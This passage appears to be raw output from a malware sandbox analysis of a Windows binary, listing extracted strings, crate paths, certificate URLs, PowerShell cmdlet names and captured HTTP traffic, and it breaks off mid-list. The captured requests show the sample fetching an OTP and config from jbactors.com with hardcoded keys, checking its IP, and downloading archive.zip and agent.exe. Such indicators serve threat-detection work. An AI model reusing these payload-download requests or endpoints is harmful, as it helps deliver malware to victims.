Heuristic match: "toomanyredirectstoo many redirects/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/schannel-0.1.28/src/tls_stream.rs" Heuristic match: "startsizesizelwsextensionsizelfbodycrbodylftrailertrailerlfendcrendlfend/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/take.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/async_impl/client.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/async_impl/request.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/async_impl/response.rs" Heuristic match: "base64 is always valid headervalue/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/util.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/blocking/body.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/blocking/wait.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/blocking/client.rs" Heuristic match: "forcehttpsbuturinothttps/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/encode.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/common/buf.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/chain.rs" Heuristic match: "ready polled after completion/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/ready.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/io/util/write_all.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/select.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.26\src\v0.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.26\src\legacy.rs" Heuristic match: ".llvm./rust/deps\rustc-demangle-0.1.26\src\lib.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\ops\function.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/schannel-0.1.28/src/alpn_list.rs" Heuristic match: "i32u32u64explicit panic/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_core-1.0.228/src/de/mod.rs" Heuristic match: "null/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/read.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/error.rs" Heuristic match: "a display implementation returned an error unexpectedly/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\string.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\slice\iter.rs" Heuristic match: "-+offset_secondyeartzoffset_hour0local datetime out of valid rangejulian_daymonth/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/time-0.3.47/src/interop/offsetdatetime_systemtime.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/simplelog-0.12.2/src/loggers/termlog.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/simplelog-0.12.2/src/loggers/logging.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\sync\once.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/socket2-0.5.10/src/sys/windows.rs" Heuristic match: "fatal runtime error: thread local panicked on drop, aborting/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\collections\btree\navigate.rs" Heuristic match: "capacity overflowthread name may not contain interior null byteslibrary\std\src\thread\thread.rs" Heuristic match: "library\std\src\sys_common\mod.rs" Heuristic match: "library\std\src\..\..\backtrace\src\symbolize\mod.rs" Heuristic match: "library\std\src\..\..\backtrace\src\symbolize\gimli\lru.rs" Heuristic match: "library\std\src\..\..\backtrace\src\symbolize\gimli\coff.rs" Heuristic match: "library\std\src\..\..\backtrace\src\symbolize\gimli.rs" Heuristic match: "library\std\src\io\mod.rs" Heuristic match: "oskindkindcustomentity not foundpermission deniedconnection refusedconnection resethost unreachablenetwork unreachableconnection abortednot connectedaddress in useaddress not availablenetwork downbroken pipeentity already existsoperation would blocknot a d" Heuristic match: "library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "library\std\src\io\buffered\bufwriter.rs" Heuristic match: "library\std\src\rt.rs" Heuristic match: "library\std\src\ffi\os_str.rs" Heuristic match: "library\std\src\sys\thread_local\key\windows.rs" Heuristic match: "must specify at least one of read, write, or append accesscreating or truncating a file requires write or append access\\?\library\std\src\sys\fs\windows.rs" Heuristic match: "library\std\src\sys\env\windows.rs" Heuristic match: "assertion failed: len >= size_of::()library\std\src\sys\net\connection\socket\mod.rs" Heuristic match: "library\std\src\sys\pal\windows\mod.rs" Heuristic match: "sys\pal\windows\os.rs" Heuristic match: "to spawn threadlibrary\std\src\thread\functions.rs" Heuristic match: "library\std\src\sys\pal\windows\pipe.rs" Heuristic match: "library\std\src\sys\pal\windows\time.rs" Heuristic match: "overflow when subtracting durations/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\time.rs" Heuristic match: "library\std\src\sys\pal\windows\winsock.rs" Heuristic match: "ary\std\src\sys\args\windows.rs" Heuristic match: "library\std\src\sys\path\windows_prefix.rs" Heuristic match: "usly been poisonedtoo many active read locks on rwlocklibrary\std\src\sys\sync\rwlock\futex.rs" Heuristic match: "library\std\src\sys\stdio\windows.rs" Heuristic match: "library\std\src\sys\thread\windows.rs" Heuristic match: "pathlibrary\std\src\sys\process\mod.rs" Heuristic match: "library\std\src\sys\process\windows.rs" Heuristic match: "library\std\src\path.rs" Heuristic match: "lock count overflow in reentrant mutexlibrary\std\src\sync\reentrant_lock.rs" Heuristic match: "library\std\src\sync\once.rs" Heuristic match: "lazylock instance has previously been poisonedlibrary\std\src\sync\lazy_lock.rs" Heuristic match: "rust_backtracefulllibrary\std\src\thread\id.rs" Heuristic match: "library\std\src\thread\local.rs" Heuristic match: "too many running threads in thread scopelibrary\std\src\thread\scoped.rs" Heuristic match: "use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\current.rs" Heuristic match: "library\std\src\panicking.rs" Heuristic match: "reentrant init/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\cell\once.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\slice\sort\stable\quicksort.rs" Heuristic match: "wouldblock/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\collections\btree\map\entry.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\collections\btree\node.rs" Heuristic match: "assertion failed: self.is_code_point_boundary(new_len)/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\wtf8\mod.rs" Heuristic match: "/rust/deps\gimli-0.32.3\src\read\line.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\num\wrapping.rs" Heuristic match: "library\std\src\backtrace.rs" Heuristic match: "/rust/deps\object-0.37.3\src\read\coff\symbol.rs" Heuristic match: "notreadingreadingreadlibrary\std\src\env.rs" Heuristic match: "overflow when adding duration to instantlibrary\std\src\time.rs" Heuristic match: "library\std\src\io\buffered\linewritershim.rs" Heuristic match: "/rust/deps\addr2line-0.25.1\src\unit.rs" Heuristic match: "/rust/deps\addr2line-0.25.1\src\function.rs" Heuristic match: "termdumbcygwinno_color/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/termcolor-1.4.1/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/schedule.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/net/tcp/stream.rs" Heuristic match: "rust_min_stackthreads should not terminate unexpectedly/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\thread\lifecycle.rs" Heuristic match: "there is no such thing as a release load/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\sync\atomic.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/io/poll_evented.rs" Heuristic match: "filled must not become larger than initialized/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/io/read_buf.rs" Heuristic match: "assertion failed: actual_state == empty || actual_state == notified/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/notify.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/oneshot.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/time/sleep.rs" Heuristic match: "`period` must be non-zero./home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/time/interval.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/linked_list.rs" Heuristic match: "assertion failed: value <= self.max_value()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/bit.rs" Heuristic match: "rng seed generator is internally corrupt/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/rand/rt.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/wake_list.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/io/registration.rs" Heuristic match: "a tokio 1.x context was found, but it is being shutdown./home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/io/driver.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/park.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/core.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/list.rs" Heuristic match: "assertion failed: curr.is_join_interested()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/state.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/harness.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/mod.rs" Heuristic match: "inner should already be initialized by `self.reset()`/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/entry.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/wheel/mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/wheel/level.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/handle.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/context/current.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/metrics/worker.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/pool.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/shutdown.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/scheduler/current_thread/mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/scheduler/defer.rs" Heuristic match: "assertion failed: c.runtime.get().is_entered()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/context/runtime.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/buf_impl.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/bytes.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/bytes_mut.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\sync.rs" Heuristic match: "poisonerrorlazy instance has previously been poisoned/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/once_cell-1.21.3/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/parser.rs" Heuristic match: "...//home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/lib.rs" Heuristic match: ":/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/host.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\str\pattern.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\vec\mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/utf8_iter-1.0.4/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/want-0.3.1/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/winapi-util-0.1.11/src/win.rs" Heuristic match: "allocation failed/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/windows-registry-0.6.1/src/data.rs" Heuristic match: "zip64 footer indicates a new version is needed to extract this archive than the version that wrote itzip64 footer indicates more files on this disk than in the whole archiveinvalid central directory size or offset/home/code/.cargo/registry/src/index.crates" Heuristic match: "assertion failed: n <= self.buf.init - self.buf.filled/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\io\borrowed_buf.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\io\mod.rs" Heuristic match: "internal error: entered unreachable code/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\io\impls.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\io\cursor.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\thread\local.rs" Heuristic match: "aes encrypted files cannot be decrypted without the aes-crypto feature.zip64 extra-data field is the wrong lengthinvalid aes encryption strengthinvalid aes vendor versioninvalid aes vendoraes extra data field has an unsupported length/home/code/.cargo/regi" Heuristic match: "invalid checksum/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/zip-2.4.2/src/types.rs" Heuristic match: "-assertion failed: min <= max/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\cmp.rs" Heuristic match: "utf8errorvalid_up_toerror_lenfromutf8errorbyteserrornonesome/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/zip-2.4.2/src/crc32.rs" Heuristic match: "corrupt deflate stream/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/memchr-2.8.0/src/arch/all/packedpair/mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/memchr-2.8.0/src/arch/generic/packedpair.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/inner.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/zip-2.4.2/src/read/magic_finder.rs" Heuristic match: "jbactors.com" Heuristic match: "get /api/deployer-otp.php?key=dpl_a8f3e1b7c9d24056 http/1.1accept: */*user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36host: jbactors.com" Heuristic match: "get /api/deployer-config.php?otp=abb4a78e4ea5b0518a371615ec62f79e http/1.1accept: */*user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36host: jbactors.com" Heuristic match: "api.ipify.org" Heuristic match: "get / http/1.1accept: */*host: api.ipify.org" Pattern match: "http://23.227.203.103/fakeurl.htm" Heuristic match: "geo.netsupportsoftware.com" Heuristic match: "telegram.me" Heuristic match: "gor.cardiffphysio.com" Pattern match: "http://141.195.117.128/fakeurl.htm" Heuristic match: "apuliae.com" Pattern match: "https://jbactors.com/internal/deployer/get.php?key=deployer_key_2026&file=archive.zip" Heuristic match: "get /internal/deployer/get.php?key=deployer_key_2026&file=archive.zip http/1.1accept: */*user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36host: jbactors.com" Heuristic match: "get /internal/deployer/get.php?key=deployer_key_2026&file=agent.exe http/1.1accept: */*user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36host: jbactors.com" Pattern match: "eq.sync/atomic.booltype:.eq.sync/atomic.uint32internal/sync.(*mutex).lockslowinternal/sync.(*mutex).unlockinternal/sync.(*mutex).unlockslowsync.(*mutex).unlocksync.init.0sync.init.1sync.poolcleanupinternal/sync" Pattern match: "utf16.goio/io.gomath/exp_amd64.goiter/iter.gostrconv/itoa.gomath/bits/bits.gounicode/tables.goreflect/map_swiss.goreflect/value.goreflect/type.goruntime/extern.goencoding/binary/binary.gomath/unsafe.goclassifieds/main.go" Pattern match: "b.bc/bc" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "tem.co" Heuristic match: "nt.in" Heuristic match: "t.net" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "exe.co" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "nt.au" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "ust.net/legal-te" Pattern match: "http://www.microsoft.com0" Pattern match: "http://crl.globalsign" Pattern match: "obalsign.com/repository/03" Pattern match: "hawte.com/cps07" Pattern match: "http://crl.thawt" Pattern match: "http://c~" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "crl.microsoft.com/pki/crl" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "crl.microsoft.com/pki/crl/products/mi" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "crl.microsoft.com/pki/crl/products/m3" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "orlib.ni" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: "ystem.management.automation.re" Heuristic match: "st.management.au" Heuristic match: "icrosoft.powershell.se" Heuristic match: "icrosoft.powershell.co" Pattern match: "sign.net/root.cr" Pattern match: "www.mis2" Pattern match: "http://www.validationtest.contoso.com/test%d.html"66:T9a5,Found string "HTTP/1.1M9" (Indicator: "HTTP/1.1"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "HTTP/1.0I9" (Indicator: "HTTP/1.0"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin") Found string "GET /api/deployer-otp.php?key=dpl_a8f3e1b7c9d24056 HTTP/1.1accept: */*user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36host: jbactors.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /api/deployer-config.php?otp=abb4a78e4ea5b0518a371615ec62f79e HTTP/1.1accept: */*user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36host: jbactors.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 200 OKServer: nginxDate: Mon, 23 Feb 2026 21:25:15 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCache-Control: no-store" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET / HTTP/1.1accept: */*host: api.ipify.org" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 200 OKDate: Mon, 23 Feb 2026 21:25:35 GMTContent-Type: text/plainContent-Length: 13Connection: keep-aliveServer: cloudflareVary: Origincf-cache-status: DYNAMICCF-RAY: 9d29cbf169a0dc3c-SJC" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /internal/deployer/get.php?key=deployer_key_2026&file=archive.zip HTTP/1.1accept: */*user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36host: jbactors.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 200 OKServer: nginxDate: Mon, 23 Feb 2026 21:25:41 GMTContent-Type: application/octet-streamContent-Length: 2520669Connection: keep-aliveContent-Disposition: attachment; filename="archive.zip"" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /internal/deployer/get.php?key=deployer_key_2026&file=agent.exe HTTP/1.1accept: */*user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36host: jbactors.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 200 OKServer: nginxDate: Mon, 23 Feb 2026 21:25:43 GMTContent-Type: application/octet-streamContent-Length: 5324801Connection: keep-aliveContent-Disposition: attachment; filename="agent.exe"" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL")67:Ta9c,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00003964.00000000.88610.BA340000.00000004.mdmp") Found string "Receive-PSSession" 